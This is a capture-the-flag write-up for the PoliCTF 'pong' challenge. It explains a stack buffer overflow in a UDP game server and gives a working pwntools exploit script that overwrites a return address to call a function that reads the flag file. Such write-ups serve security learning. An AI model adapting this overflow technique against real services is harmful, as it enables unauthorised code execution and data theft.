So much pixels and fun!
nc pong.chall.polictf.it 31337 or nc pong2.chall.polictf.it 31337
There was a stack bof vulnerability in function
The user input delivered to the UDP server was copied to a stack variable without checking its size. This lead to a memory corruption.
The given binary contains a function called
secret which open the file
flag sending its content back to the socket.
To get that content from the client side we first sent the payload requested in order to trigger the function
setupListener, then we sent the payload to exploit the memory corruption.
In order to get the flag sent from the server, we need to send the triggering payload before the connection is closed…but hey wait that’s is UDP, it’s connectionless!
Moreover, there was enought time to trigger the corruption since the first payload triggers a function which sends back to the client a lot of data before to exit so, we just need to send the first payload (to trigger
setupListener) followed immediately by the second one (to trigger mem corr), without waiting for any reply in-between.
from pwn import * secret = 0x4045d1 def start_game(): # p = remote('localhost', 31337) p = remote('pong2.chall.polictf.it', 31337) p.sendline("Lv1") p.recvuntil("OK ") s = p.recvline() c_port = int(s.strip()) return c_port def play_pong(port): print "connecting to pong UDP server at %d" % port # p = remote('localhost', port, typ="udp") p = remote('pong2.chall.polictf.it', port, typ="udp") return p def send_to_pong(p, pay, stop=None): p.sendline(pay) if stop: print p.recv() port = start_game() p = play_pong(port) pay = "-1|" + "2" * 21 pay += p64(secret) send_to_pong(p, pay, False) pay = "1" + "|" + "2" * 22 pay += p64(secret) send_to_pong(p, pay, True)